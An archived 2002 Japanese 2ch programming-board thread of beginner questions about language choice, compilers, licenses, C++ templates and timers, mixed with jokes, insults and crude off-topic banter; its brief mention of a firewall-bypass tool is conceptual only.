すごくくだらない質問でもレスをいただけるスレッド

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
「スレをたてるまでもない質問」スレッドでも、聞くには恥ずかしい疑問点を
優しく答えてくれるスレッドです。気軽に質問してください。
2:02/05/01 08:08
で、早速質問です。

(1)「プログラム」と「ソフトウエア」の違いは何ですか?
(2)「ソースコード」と「ソースプログラム」の違いは何ですか?
3:02/05/01 08:12
(3)「PG」は「プログラミング・ガール」
   「SE」は「ソニー・エヴァンジェリスト」の略称って本当ですか?
で、>>1に質問です。

(1)「駄スレ」と「糞スレ」の違いは何ですか?
(2)「糞スレ」と「このスレ」の違いは何ですか?
>>1
氏ね
また出たよ・・・ティンティン ピンク色が・・・
7デフォルトの名無しさん:02/05/01 08:29
>1
「プログラム」「ソフトウエア」の違いは、「視点の違い」です。

「ソフトウエア」は「ハードウエア」の対語であり、コンピューターシステム
において「ハード(メカニズム)を制御する手続きやそれに伴うデータ」と
いわれています。ハードを意識する(対比する)視点がないのが「プログラム」です。
でも、結局、同じ「物」を指します。

(2)「ソースコード」と「ソースプログラム」は同じものです。
どちらの用語を使うかは個人の好みです。

(3)「PG」はたぶん「プロ・グラマー」の頭文字です。
念のため「PB」は「1980年代に発売されていたカシオのポケットコンピュータのことです」
>>7
手の込んだ自作自演ですね。
良スレならそれは正しい方向ですがいきなり反感を買っているスレでやると逆効果です。
9:02/05/01 08:34
「SE」は「システム・エンジニア」の略が一般的ですが、「ソニー・・」
はおもしろい意見です。使えそうです。

「駄スレ」と「糞スレ」の違いは、「駄スレ」は2chにおいてリソース(分かりますか?)の
無駄となるスレッドのことです。迷惑なスレッドともいいます。「糞スレ」は「価値がないスレッド」
のことです。意味的に「駄スレ」とかぶる部分もありますが、他者の迷惑の度合いは 

「駄スレ」>「糞スレ」 だと思います。
>>9
そう思う根拠が提示されてないのが気に入らん。
全角数字具合も気に入らん。
・・・自作自演か。
10uma
12デフォルトの名無しさん:02/05/01 09:00
>>8, 10
いや、やっと普通の糞スレが立てられるようになった いらすまタンを みんなで誉めてあげようではないか。
>>12
ageんなヴォケ
14デフォルトの名無しさん:02/05/01 09:11
良スレage
--------------------------------------------------
目的のスレが見つかんないと思ったら
まず、「スレッド一覧はこちら」をクリック
出てきたページでIEなら
「編集」「このページの検索」
出てきたダイアログにキーワード入力して
「検索」ボタン押してください
きっと見つかるはずです

この文章は コピペ可能です
駄スレ糞スレを誘導してあげてください

---Copyright(C) 2ch 2002---
161:02/05/01 09:27
>15
「すっごくくだらない質問スレッド」で検索してもでてきませんが
私の検索方法がまずいのでしょうか?
171:02/05/01 09:29
それとすぐに自作自演と決めつけるのは(私はかまわないけど)
他の人が不愉快になるのでやめてください。
>>16
「くだらない」だけで検索するだろ普通・・・・
「小林ひとみのAV『いもしゃぶり夫人』」
を検索するときに・・・
省略されました
>>1
禿しく氏ね
ブートローダーと、IPL、およびBIOSについて、その違いを教えてください。
よりによって「小林・・・」は無いわな
反省します
「桜木ルイのAV『金閣寺2』」に読み替えてください
>20
俺も細かい違いがわからないけど、共通点はROMに焼き付けられていて、
電源が入ったら真っ先に機動するちっぽけなプログラムってことかな。
>>17
>他の人が不愉快になるのでやめてください。

氏ね。
>>22
ブートローダってWindowsのインストールで上書きされることがあると聞いたんですが、
ROMに焼いてあるんですか?
>>24
ROMからHDDの先頭バイトを読む
むかし、むかし
ROMなんてのも無かった頃は紙テープから起動していたのです

では、その紙テープはどうやって読み込むか?
そうです。
手で入力していました。

パチパチと2進のスイッチを操作してその紙テープを読みメモリにロードする
プログラムを入れていたのです
2720:02/05/01 12:21
昔の書籍にこんなことが書いてあったのですが、

「MSXはBIOSが公開されているからハードもソフトも開発しやすい。」

BIOSなんて意識したこともないのですが、ソフト開発がしやすいとはどういうこと
でしょう。

すっごくくだらない質問ですけど、よろしくお願いします。

フィリップ・カーン ってボーランドの創設者ですよね。
ヘルジスバーグとの関係はどうだったのでしょう?
TurboPascalはどちらが開発したのですか?
>27
昔はBIOSが公開されていることは機械語が公開されていることと
ほぼ同義だったのだ。つまり、よりマシンに密接した物を作れる、
ということなのだよ。

と、てきとーに答えてみるテスト。
***すれ立てるまでもない質問はここで 第13刷***
http://pc.2ch.net/test/read.cgi/tech/1018752281/

重複してるだろ。ネタスレならマ板に行ってほしい。
31デフォルトの名無しさん:02/05/01 13:11
すみません。

「処理系」と「コンパイラ」の違いが分かりません。「Cの処理系」と「Cコンパイラ」は
同じ意味ですか?
32超初心者:02/05/01 13:13
>>31
同じ。
>>31
微妙に違う。
CインタプリタもCの処理系。
34超初心者:02/05/01 13:16
>>33
そんなのあるんだ。
勉強用?
35デフォルトの名無しさん:02/05/01 14:25
リンカも処理系に入るのでわ?

あと八つ当たりします。
>>29氏ね
>>35
ライブラリとかも入るのでは ?

確かに >>29 は、バカだ。
>>36
プリプロセッサも入るのでは?
(ライブラリは直接Cと関係ないから入らないような気がする)
38アフォ:02/05/01 16:29
これらって何がどう違うのかね?

GNU General Public License (GPL)
GNU Library or "Lesser" Public License (LGPL)
BSD License
MIT License
Artistic License
Mozilla Public License 1.0 (MPL)
Q Public License (QPL)
IBM Public License 1.0
MITRE Collaborative Virtual Workspace License (CVW License)
Ricoh Source Code Public License 1.0
Python License
zlib/libpng License
Apache Software License
Vovida Software License 1.0
Sun Internet Standards Source License (SISSL)
Intel Open Source License
Mozilla Public License 1.1 (MPL 1.1)
Jabber Open Source License
Nokia Open Source License
Sleepycat License
Nethack General Public License
IBM Common Public License
Apple Public Source License
いちいち丁寧に答えてられん。
40初心者にもなってない:02/05/01 16:41
プログラミングを学んでみたいと思っているのですが
言語がいろいろあって何をやろうか迷っています
おすすめの言語をおしえてください
41デフォルトの名無しさん:02/05/01 16:42
>>39

簡単でいいですからおねがいします。
何にせよ
GPL = (゚Д゚)ウマー
ということだ。
4336:02/05/01 16:44
>>37
>(ライブラリは直接Cと関係ないから入らないような気がする)
?? printf() は、C 以外の何と関係するのだろう ? C++ か ? (藁)
VBでもやってろ
>>40
高速で細かい事がやりたいなら、アセンブラ
機種に依存したくないなら、JAVA
計算なら コボル パスカル フォートラン
日本語なら ひまわり
簡単にやりたいなら HSP
重たくてもいいなら VB
応用が利く C言語 おすすめ
今の時代はオブジェクト思考だぜ!って人は C++
宝石がいいなら パールやルビー

酷い分類ですな。
>>40
速やかに暴走を体験したいなら、アセンブラ
MSに依存したくないなら、JAVA
学生なら コボル パスカル フォートラン
異端派なら ひまわり
趣味でやりたいなら HSP
鈍重でもいいなら VB
ポインタで挫折したいなら C言語 おすすめ
今すぐ仕様の海に溺れたいぜ!って人は C++
解読不能がいいなら パールやルビー
>>45 に劣らぬ酷い分類ですな。
49破奏羅・予露死苦根:02/05/01 21:11
「処理系」っていうのは、ある問題を解決(処理)するために用いられる
ソフトウエアやハードウエアのまとまりを意味する言葉です。

したがって、「Cの処理系」というのは、Cのソースコードを記述する「エディタ」
ソースコードをコンパイルする「コンパイラ」それから「プリプロセッサ」「リンカ」
等の一連のソフトウエア群を総称するものだと思います。人によってはライブラリを
構築する「ライブラリアン」虫取りのための「デバッガ」も含める人がいます。

よって「Cのコンパイラ」とはちょっと意味が違うと思います。
50破奏羅・予露死苦根:02/05/01 21:21
初めてプログラミングを学ぶなら。ちょっと前ならVBをすすめるところですが
現在はC#をすすめたいです。まだ、市販の入門本は超初心者向けのものはありませんが、
もうじき腐るほど出版されるでしょう。
GUIアプリもコンソールアプリも作れますし、C、C++をいずれ学ぶなら、先にこちらの
方を勉強した方がすんなり移行できそうです。

ユーザーが多くて、いろいろ質問する場が多く、参考書籍も多数出版されている言語
を選びましょう。マイナー言語はたとえすばらしい物でも、初心者は手を出すべきでは
ありません。またWebで色々情報が得られるから・・・は、初心者の場合、あまり参考に
できません。きちんと日本語でじっくりと書籍を当たる学習が一番確実です。
51破奏羅・予露死苦根:02/05/01 21:29
フィリップ・カーンはBorlandを設立したフランス人です。同社の設立時の
商品「TurboPascal」はヘルジスバーグが開発しましたが、最初は別名のソフトだと
聞きました。詳しくは知りませんがカーンはヘジに「商売になるから・・」と話を
持ちかけてソフトごと彼を社員として招いたんじゃないでしょうか?

カーンは現在ヒトデ印の「StarFish何ちゃらかんちゃら・・」という会社の社長で
PDA関係の商品を開発販売しております。
52マジレス:02/05/01 21:44
>>40
とっても低水準な事に浸りたいなら、アセンブラ
DQNなら、Java
40代なら COBOL
てっとり早くWinアプリなら Delphi
計算系なら Fortran
日本語で書きたいなら ひまわり
小中学生なら HSP
よくわからないけど VisualBasic
入門なら C(K&R + 初心者用のC本)
俺のお勧めなら C++
解読不能+CGIスクリプトがいいなら Perl
2chで迫害されたいなら Ruby(ある意味お勧め♥)


あと
>Cコンパイラ = Cの処理系
狭い意味では正解では?
53デフォルトの名無しさん:02/05/01 21:45
もうじき腐るほど出版されるであろうC#本は
かつてのC++本やJava本がCの知識を前提としていたように、
CまたはC++またはJavaの知識を前提としたものだと思うが、
それを予備知識無しでいきなり初心者が理解できるものなら

                                 C#
教えたがりクンが集うスレですか?
5529:02/05/01 21:47
>>54
そうですよ。
>>52
まともなRuby使いは迫害されないYO!
Ruby厨はRubyなんて実際には使っていないYO!
>C#をすすめたいです。

インクルードの概念も知らない初心者に、統合開発環境系言語は痛いと思う。
vb
prolog
squeak
scheme
ruby
java
………………う〜む
59デフォルトの名無しさん:02/05/01 22:09
XPproのadministrator権限を持ってる人って管理者って書いてあるアカウント
の人なんすか?
あのさあ、NYのワールドトレードセンターに飛行機つっこんだ事件、
あれってさ被害者は即死だと思うけど、やっぱ骨までのこんなかったのかな?
まさか骨までこっぱみじん?っていうか灰になってしまった?
人間の骨って何度くらいで溶けるの?
「プログラミングはじめて!」の初心者向けに真面目に訂正

まず全ての始まりを知りたいなら アセンブラ
業務で強要されたなら COBOL
学術計算Only系なら Fortran
授業で採用されてるなら Pascal
すぐに結果が欲しいなら VisualBasic
くわえて性能も欲しいなら Delphi
SUN社と心中覚悟なら Java
まともにやる気があるなら C言語 おすすめ
仕様の広大さに絶望したいなら C++
MFCの巨大さに鬱氏したいなら VC++
覚えることの多さに発狂したいなら C#
混沌が望みなら Perl
恐怖が望みなら PHP
国産に拘るなら Ruby
真性厨房なら HSP
英文字拒否症候群なら ひまわり

結論。初心者はまずCやろうよ。頼むから。

>>59 そうだと思う。別名を設定している管理者もいるだろうけど。
62デフォルトの名無しさん:02/05/01 22:19
たぶんそうです。
葬儀場で120分焼くと溶けるらしい。

あの事件のときには壁の内側に爆発の大熱量が集中。
ビル構造が溶けて強度が一気に落ちたと聞く。
骨は溶けただろうさ。
64デフォルトの名無しさん:02/05/01 22:25
>>61
名言だね。
65デフォルトの名無しさん:02/05/01 22:26
>60
木っ端みじんです。衝撃の大きさを考えると「粉」になります。

海外では学習用言語の地位をPascalからJavaに譲りつつあるそうです。
個人的にはJavaかC#を学ぶのが「旬」かもしれないと思っています。
ですが、メカを100%理解したい活用したいと思うならC&アセンブリ言語
ですね。
66デフォルトの名無しさん:02/05/01 22:32
リッチー博士が開発した言語はC以外にLimboがあります。
これはPlan9やInfernoに搭載されていると思うのですが、Win32環境で
動くLimboが見あたりません。どこかにありませんか?

67shockwave:02/05/01 22:34
LimboよりもLingo
LingoよりもLisp
6966:02/05/01 22:36
僕はCはプロフェッショナル向けの言語で、ビギナー向けではないと
思います。覚えることは少ないかもしれないけど、注意しなければならない
ことが多すぎます。後発の言語はその点を考慮しているので、僕はビギナーには
Javaを薦めます。
win32で動くdisエミュレーターがあるじゃん。
>>69
そんなに多いか?
慎重になっていいと思うが。
>>69
      チャンチャラチャンチャラ      
  (⌒)  /
 (^ @^) -
  (⊃⊂) ヽ

      オッカシー      
  (⌒)  /
 (・ @^) -
○( ⊂) ヽ
>>69
過保護すぎると思うけどね。あの言語。
7466:02/05/01 22:41
僕は頭が悪いから「暗黙の型変化のルール」がさっぱり分かりませんでした。
それと、変数にある値を代入するときに初めて、その値は変数の型と同じ型をもつと思っていました。

とりあえずCでファイルの読み書きくらいまで勉強して、
そこからJavaとかに移ったほうがいいと思う。

でないと、クラスのありがたみを全く理解しないと思われ。
C++じゃなく、Cやりたい!って時に
Winで動くコンパイラって何があるかおせーて。
やってみるから。
>>76
有る程度有名なC++コンパイラならほぼ間違いなくCのソースもコンパイルできる。
7866:02/05/01 22:44
>70
それは何ですか?
>僕は頭が悪いから「暗黙の型変化のルール」がさっぱり分かりませんでした。
符号を無視した簡単な表を書いて、壁に張っておきましょう。

>それと、変数にある値を代入するときに初めて、その値は変数の型と同じ型をもつと思っていました。
あー、とりあえず勝手に思い込まないように。変数はただのいれものじゃないよ。
80デフォルトの名無しさん:02/05/01 22:46
>>74にCは今でも危ないんじゃないか?な木文
>>63,65

なら飛行機に乗っていた人&犯人たちは瞬殺だったんですか?
飛行機がビルにぶつかったと同時に笑点、もとい昇天?
8266:02/05/01 22:51
「1」という整数値はすでにInt型なんですね。
「1.5」という実数値はすでにDouble型なんですね。


なぜ、そうなっているのか?僕は答えを得るまでにC/C++/Java/C#の本を
30冊ほど読んだことになっています。
プログラミングの勉強には比較的低級な言語、プログラミングをはじめるには高級な言語がいいと思うよ。
別に何からはじめようが、その言語だけ1年も2年も使い続けるわけじゃないんだし、最初は高級な言語で慣れてから低級な言語で勉強、でいいと思うよ。
>>82
Intじゃないint
VB厨か?
85デフォルトの名無しさん:02/05/01 22:54
この本を読めばパソコン内部処理の全てが分かりますか?
そんな本を探してるんです。

プログラムはなぜ動くのか?    
http://www.amazon.co.jp/exec/obidos/tg/detail/glance/-/books/4822281019/ref=br_ed_492352_top5_1_1/250-6182335-2583404

VisualBasicしか知らない矢沢君ですが信用していい?
>>82
「すでに」ってどういう意味?
文面上では数値リテラルじゃないか?
コンパイル時にコンパイラが単純に判断するだけ…だよなあ。
100Lならlong型ってわけじゃなくて、
コンパイラにそうしてくれって伝えてるだけだしなあ。
>>85
読み物としては解りやすい。
>>85
読み物としてはおもしろかった。
90デフォルトの名無しさん:02/05/01 23:24
クラスのメソッドをテンプレートで
書くとコンパイルエラーになるのですが
どうして?
>>90
クラステンプレートにするのが正解では?
特定しにくいっしょ。
>>85
DOS/V POWER REPORT などの PC の雑誌を購読しつつ
基本情報の試験勉強でもしてみれ。
93デフォルトの名無しさん:02/05/01 23:39
>>90
どんなエラー?
94デフォルトの名無しさん:02/05/01 23:42
FLTKを用いたサンプルプログラムや解説があるサイトはありませんか?
とりあえず日本語がいいです・・・。
95デフォルトの名無しさん:02/05/01 23:43
おながいしまそ

乳足番が見れないんですが、どかなちゃたの?
クロノトリガーでクロノが死んで、クロノの人形を手に入れて
2300年のところに行って3匹のさる見たいのが動いた後
どこへ行けばイインデスカ?
>>90
1. コンパイラが古い
2. 仮想関数をテンプレート化しようとしている
Java ってどうですか?
プロのプログラマの方のお話だと Java ってだけで単価が高くなるらしいです。
でも本当なら各プラットフォームに応じた言語を選ぶのが最良と思います。
それでも Java は人気あるようですしやはり何らかのメリットがあるのでしょうか?
99デフォルトの名無しさん:02/05/02 00:54
全くのプログラム初心者向けにここで勧めている言語は
JAVA,C,C#,VB 辺りですが、一つ本音で選ぶならどれですか?
Java に一票。
Cにしとけ、損しないぞ。
まったくの初心者だったらプログラミングの概要を
知るためにPerlなんて手もある。
>>99
Cに一票。
私がそうだったから。
どれでも好きなのやれば良いじゃん。
ほんと、くだらない質問だな。
まったくの初心者ならHSPでいいと思う。
最初はツクール感覚でとりあえずちょっろ書いて、動くのをみることが大切だと思う。
慣れてきたらJavaでもCでも乗り換えればいい。
ひと昔前ならC言語がファーストチョイスだったね。
最近はオブジェクト指向を学ぶ方がいいのでJavaがお勧めかな。
スクリプト言語にしても以前はPerlの一人勝ちだったと思う。
昨今ではRubyやPHPも悪くないかも。

C#はMicrosoft限定なのが辛いかな。
全部やれ
>>107
全部やるとして最初に手を付けるのはどれ?
104に同意。
何からはじめるかなんて愚問だな。
結局プログラミングの本質はどれをやろうが変わらないんだから。
110ハッカーになろう:02/05/02 01:12
Pythonやれ。

なんてネタはさておき、とっつきやすいものからやった方がいいと思うけどね。
もしくは長続きしそうなものか。
ネタかよ!!
112デフォルトの名無しさん:02/05/02 01:13
>>100-109
結局どれなんだよ!!
そんなことで悩んでないで、まずは何か始めなよ。
>>112
Delphi
>>112
Objective-C
>>112
Objective-C
>>112
Prolog
>>112
HTML
とりあえず物理の電流に興味があるから、そこから始めることにする。
>>112
BASIC
>>115-117 >>118 >>120
ドーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン!!!!!!!!!
>>115-117 >>118 >>120
同一人物による書き込みですか?
とりあえず、ヒトはどこからきて、どこへゆくのか、そこから始めることにする。
>>117 は俺。他は知らん。
>>123
アフリカ東海岸から来て破滅に向かう。
126デフォルトの名無しさん:02/05/02 01:27
特異クラス、特異メソッドって、どんなときに使うと、
便利なんですか?

それと、ここはネタスレですか?
Rubyについてはマジレスが期待できますが
それ以外についてはネタレスしか期待できません
128これが答えだ:02/05/02 01:28
java c が優性でvbを勧める人はいなかった。
 
暇つぶしにHSPをかじって java or c ネットにも興味があれば perl でもどうぞって結論ですか?
>>127 がネタスレであることを証明してくれました。
>>128
概ね賛同。
やや地味だけど JavaScript でも充分プログラミングの勉強はできるよね。
Perl はネットだけでなく手軽にツールも組めるので重宝してます。
なんだかんだ言って
こっちが「くだ質」のメインになてるし・・・
ま、ネタ系だが・・
132デフォルトの名無しさん:02/05/02 01:48
Visual Studio .NET で JScript のコード(.js)の実行方法をご存知の方
いらっしゃいませんか?

空のソリューションを新規作成して .js ファイルを追加してみても
メニューの[デバック]→[実行]項目がグレーのままです。

そもそも JScript のコードは実行できないのでしょうか。
(できそうに見えるんだけど)
133デフォルトの名無しさん:02/05/02 01:49
顔文字で、時々シグマが使われてますが、どんな意味があるでおじゃるか?
初めて覚えた言語を教えれ。

ちなみに自分はHTML→JavaScript→Perl→Java→Python
もうめちゃめちゃ。
13590:02/05/02 01:50
なんかいろいろやっていいるうちにコンパイルは通りました
class mystring : public string, public stringstream
{

...

public:
template<typename T> mystring &operator=(const T dt)
{
string::operator=("");
return mystring::operator+=(dt);
}

...

};
てなかんじで記述してたんですが引数のconstが悪かったみたいでそれとったら
コンパイル通ったのはいいんですが今度はこのテンプレートが呼ばれなくなって
しまって困っています。明示的に
int main()
{
mystring mst;
mst.operator =( 255 );
...
}
んなかんじで呼ぶと
error C2893: 関数テンプレート 'class mystd::mystring &__thiscall mystd::mystring::operator =(T)' の特定に失敗しました
次のテンプレート引数で:
'int'
cl.exe の実行エラー
と言われてしまいます。どうしたらいいんでしょ?
Σ(´Д`ズガーン
>>めちゃめちゃ

そうでもないと思うが。
>>134
HTML, JavaScript, BASIC, C, Perl, Pascal
次は Java をやってみたい。
>>134
Web プログラム板にこんなスレがある。
プログラム言語遍歴
http://pc.2ch.net/test/read.cgi/php/1002546961/
Fortran -> COBOL -> C -> Lisp -> Prolog -> C++ -> Java -> C#
みんな若井のか?
N88BASIC→マシン誤→Fortran→アセンブラ→JAVA→HTML→日本語
ばぶー -> 日本語 -> HTML -> JavaScript -> HSP -> C -> C++ -> Perl -> Java ->C#
誰もCやJavaから初めてねージャン(藁
やっぱとっつきやすいのから入る人が多いのね。
当時は Java なんてなかったからな。
C もメジャーじゃなかったし。
Perl -> C -> C++ -> java
147デフォルトの名無しさん:02/05/02 02:41
言語を学習する際に、大抵の有力な言語は
「Hello World」から始めると思うのですが
何で、「Hello World」になったんですか?
知ってる人は、レス プリーズ♪
はじめからCしかやっていない。
>>147
由来はK&Rだろう。
「大抵の有力な言語は」ってこともないと思うが。
はじめて覚えたのは、8080のアセンブラ、(中略)一番最近はOCaml
151デフォルトの名無しさん:02/05/02 03:03
http://headlines.yahoo.co.jp/hl?a=20020501-00000018-vgb-sci
パーソナルファイアウオールを突破できるBackStealthというものらしいのですが、

>>インターネットへのアクセスが許可されたアプリケーションに取りつくことができる
これは、どういうプログラムで実現しているのでしょうか。
152147:02/05/02 03:07
てことはCが由来なんですね
解答サンクス♪
>>151
作った本人に聞いて下さい
どうせ外国の神でしょ
154デフォルトの名無しさん:02/05/02 03:13
プログラマに興味があり目指そうと思っていたものですが、このスレ見て止めました。
他の真っ当な職業につこうと思います。
http://pc.2ch.net/test/read.cgi/prog/1018267749/-100
>>151
トロイがFWに許可されてるアプリにデータを渡してネットへ吐かせるんじゃない?
>>154
まあ、好きにしてくれ、としか言いようがないけど。
>>151
パーソナルFWって、PC内のアプリが勝手に外にアクセスに行かないように
するものなんでしょ?

ところが、BackStealthとやらはFWのメモリ空間の中で動くので、
「アクセス制限の対象である、FW以外のアプリ」と認識されない。
なので、好き勝手に外にアクセスできる。

誰がどうやって仕掛けるのかはわからんけど。
(しかしこの発表文の日本語ひどいな。)
プログラマ業界って勉強の毎日なんだな。
こりゃついていくだけで大変だわ。
>>154
勝手にしろ
>>158
勉強っつうか興味持てなくなったら終わりじゃない?
>>158
好きな事を勉強するのは苦にならない。
好きじゃ無い事をするのは不幸。
162デフォルトの名無しさん:02/05/02 07:56
僕はゲイです。しかも、毛深そうなヒゲがある中年男性が大好きです。

だから、そんな男性がつくったC言語、Pascal、Javaがすきです。
Perlは口ひげ男がつくったからあんまり興味がありません。顔一面ヒゲだらけの
男性が作った言語に興味があります。他にどんな言語がありありますか?
なお、ゲイの言語開発者がいたら教えてください。

すごくくだらない質問ですみません。今、Javaのジェームズの写真をみながら
机の下で「手遊び」をしています。
COBOL650の開発者がエイズでという話を読んだ事があるけど
今検索したら消えてた
164デフォルトの名無しさん:02/05/02 09:50
そもそも

165デフォルトの名無しさん:02/05/02 10:10
>>162
Mercury
フレディが生前に作った言語だ。
166デフォルトの名無しさん:02/05/02 10:11
僕は女の人が好きです。
女の人がつくったプログラミング言語を教えてください。
>>166
CLU
>>166
Ada
170デフォルトの名無しさん:02/05/02 10:36
>>167-168
外国人きもい。
日本人でお願いします。
>>170
Adaは日本人だよ。江田さん。
172デフォルトの名無しさん:02/05/02 10:39
>>171
アメリカの国防総省で開発されたって聞いたけど?
AS MANY OF YOU ARE AWARE I'M DIEING OF AIDS AND IT IS MY WISH THAT THIS NOTE NEVER BE REMOVED FROM THE ZIP OR ARCHIVE FILE AND THAT ALL FILES REMAIN INTACK.
IT IS MY HOPE THAT ANOTHER PROGRAMMER WILL PICKUP THE PIECES AND CONTINUE THE WORK THAT I'VE BEEN DOING.
THE SOURCE CODE WILL ONLY BE AVAILABLE FROM AV-SYNC BBS IN ATLANTA GA.
AND IT IS MY WISH THAT IT NOT BE DISTRIBUTED TO OTHER BBS'S AS BILL TULLIS HAS BEEN A FRIEND AND A SUPPORT TO ME, I WISH THAT HIS BOARD BE THE SOLE LOCATION OF THE SOURCE.
NOW THAT I'VE SAID MY PEACE.
>>173
ネットで全て大文字で書くのは大声で叫んでいるようなものだからマナー違反だって言っていたよ!!!


ディズニーのサイトが・・・
>>166>>172
もともとAdaはパイロン卿の娘でバベッジと親交があり
世界初のプログラマといわれることもある女性の名前。
米国防総省のプログラミング言語Adaは彼女の名前をいただいた。
>>175
オチは何?
ゆり子タンがプログラミング言語を開発してくれないかな〜
ゆり子はもういいって。
179デフォルトの名無しさん:02/05/02 11:11
VBを始めようと思うんですがお薦めの解説書ってありますか?
教えてください。
>>179
女か?俺が教えてあげよう。
181179:02/05/02 11:20
ごめんなさい、ネカマです。
>>179
インストール後、タスクバーのアイコンをダブルクリックして
Scan Nowをクリックするだけでは?
183デフォルトの名無しさん:02/05/02 11:37
「VC++」
で処理をゆーっくりにするコードはなんですか?
たとえば、●を ツーっと横にアニメションで動かしたい。
この場合、ノーマルだと一瞬で絵画してしまい
単なる横棒になってしまう。
これをゆくり移動させるにはどしたらよいのか?
BESICでいうwaitってやつ。

また、このままだとよこに棒ができてしまう。
あくまでボールを動かしたい。
BASICでいうCLSにあたるものはなに?

なんだかソースを加えるだけでできるの?
>>183
for文のwaitではだめなの?
>>183

Windowsプログラムでゲームを作りたい。
http://mentai.2ch.net/prog/kako/957/957341074.html

こんな感じで
186デフォルトの名無しさん:02/05/02 11:54
>>184
それです!!
それってVC++でも使えるの?
>>184-185
マルチして奴は、放置すべし。
188デフォルトの名無しさん:02/05/02 12:03
for (a=o;a<=100;a++){};
をループ内にかませてやると
擬似的にスローにはなるけど
これじゃあ、各PCによってスピードが変わっちゃいますよね。

知ろうとはしばらくこれでやるしかないか?
>>188
タイマーイベント使うだろ。
100msごとに右へ1ドット動かすとか。
190デフォルトの名無しさん:02/05/02 12:09
>>189
そう。それを教えてほしいけど
タイマーイベントってなに?
ってきくと、どーせ怒るでしょ。みんな。

for擬似スローみたいに、数行の文をメインの
ループ内にかませるだけでいいのそれ?
それとも、なんだかクラスとか難しいのをつかうの?
>>190
sleep()使え。
>>190
>どーせ怒るでしょ。みんな。
この根性が気に入らん。
>>190
怒るのは下らん質問をマルチポストしてるからだボケ。

どういうプログラミングスタイルかによって答えが変わるんだが…
イベントという概念が理解できてないとどうしようもない。
とりあえず↓読め。第1部第9章にタイマーとか乗ってる。
http:// kmei.ne.jp/c_lang/
>>190
マルチ市ね
195162:02/05/02 14:01
C++の設計者の名前は

ビジャーン・ストラウストループ ですか?
ビヨルーン・ストラウストラップ ですか? ヒゲがいけてます。
++ですが、ズラが--です。
ビヨョーーン・ストラウスラッパッパー
197デフォルトの名無しさん:02/05/02 14:10
疲れた時は栄養ドリンクよりこれだ。

***  Kanon + Air  ***
198デフォルトの名無しさん:02/05/02 14:10
ビアラン・ストラウストラップ

彼となら初体験OKよ
>>195
読み方の違いだと思われ。
アメリカ読みと…ドイツ読みかな?
200162:02/05/02 14:19
ビアランですか!!

携帯ストラップみたいな名前とズラは何とかならないものか
>>200
それは仕様です
ヅラはオーバーライド可能です
203デフォルトの名無しさん:02/05/02 14:28
class zura{}
204デフォルトの名無しさん:02/05/02 14:28
struct zura{}
205初心者:02/05/02 14:30
.htt という拡張子の中身を変更したいのですが
どうしたらいいですか?
必要なソフトとかあるんでしょうか?

サルでも分かるように教えてください。

ちなみにwinxp使ってます。
206162:02/05/02 14:31
Java Web Start でパズルを遊んでください。
ジェームズ様の笑顔を拝めます。
207デフォルトの名無しさん:02/05/02 14:32
class Stroustrup : zura{}
208デフォルトの名無しさん:02/05/02 14:32
>>205
Windowsのフォルダの装飾を決めるあれ?
209初心者:02/05/02 14:33
右クリック ブラクラチェッカー というのを落としたんですけど
なんか、中身を変更しないと私のPCでは動かないらしいので・・

ほんとお願いします
210208:02/05/02 14:34
もしそうならメモ帳などのテキストエディタでできる。
タブ切り替え型のエディタで、メモリ節約の為に
開いていないタブのテキストはそれぞれファイルに保存しておき、
そのタブが選択された時に対応するファイルを読み込む、というのは変ですか?
Zura[] myzura=new Zura[100];
myzura[0]=new Zura("aderansu");
myzura[1]=new Zura("artnature");
//......
myzura[0].setZura(Day.MONDAY);
myzura[1].setZura(Day.TUESDAY);
//......
213デフォルトの名無しさん:02/05/02 14:38
IISはいつからInternet Information Servicesの略になったんですか?
214初心者:02/05/02 14:39
テキストエディタでは開けないようなのですが・・
何度もすみません
>>211
ま、せいぜいデフォルトの上限を
5枚ぐらいにしてやればメモリ大丈夫でしょ
あとはユーザー自身のPCに余裕あるなら
10枚27枚でも設定できるようにしとけばいいだけ・・・
ブラウザ10枚立ち上げても大丈夫なんだから
エディタぐらいどうってことなし
>>214
開けるよ。
>>214
ダブルクリック厨ですか?

メモ帳のメニューから開けるでしょ。
>>211
いいんじゃない?
HDDアクセスがあるから電力を多少は喰うだろうけど。
まあ最近のPCはメモリたくさんあるし、100KBを10個開いてもたった1MBだからねえ…
219デフォルトの名無しさん:02/05/02 14:48
バイナリえぢたで開け
メモリを喰うファイルは読み込むのも遅いと言う罠。
部分読み込み等、ちゃんとコーディングしないと
いけないから止めといた方が無難だと思うなー。
>>214
メモ帳開いてドラッグ&ドロップ
222211:02/05/02 14:52
>>215>>218>>220
レスありがとうございます。
そうですね、設定できるようにするとかするのもいいですよね。
まぁ色々考えてやってみます。
jarファイルって
読み方は「じゃー」でいいの?
あっそ、じゃー。
>>223
しらんけど俺はそう読んでる。
なぜ読もうとするあるカ
227デフォルトの名無しさん:02/05/02 15:37
C,C++,Visual C++の3つの違いって何?
228デフォルトの名無しさん:02/05/02 15:38
>>227
CとC++は言語。ほんのちょっぴり違う。
Visual C++はソフトウェアの名称。
229デフォルトの名無しさん:02/05/02 15:41
なるほど!わかりやすい答えサンクス!

ということはC++を学びたい場合「Visual C++」を買えばいいってことだね。
フリーのコンパイラもあると
いっておこう
パパはC++ Builderをお勧めしちゃおうかな・・・

>>228
ちょっぴりじゃないって、CとC++やったことありますか〜?
>>231
このスレであんまり突っ込んでやるなよ。
ひとによってちょっぴりの度合いは違うといっておこう
同じようにハッキリ、クッキリの度合いも違う
235デフォルトの名無しさん:02/05/02 17:00
とりあえず「Visual C++」買ってきたよ。
起動してみたけど、わけわかんない・・(汗
早速アマゾンで書籍を2冊購入。っていうか買いすぎ?
はじめはgccでいいじゃないか・・・
そもそも言語と開発環境でござるよ
238デフォルトの名無しさん:02/05/02 17:03
>>235
このさき何冊も買うことになるから、2冊位は気にするな。
>>235
gcc(gnu compiler collection/gnu c/c++ compiler)使え
今日買ってきたのならなぜC#を買わんのか
>>239
gccのうまみを知ってしまうとVCには戻れなくなる罠

>>240
激しく同意
・・・・・・割れだな・・・?
243JavaScript関連:02/05/02 17:13
JavaScript関連の質問をします。お願いします。

質問.

history.go(), history.next() のような機能を用いて、
ブラウザの "次へボタン" の機能を実現法をお教え下さい。

ただ次へ移るだけではなく、次への履歴が
なければボタンを消したいのです。

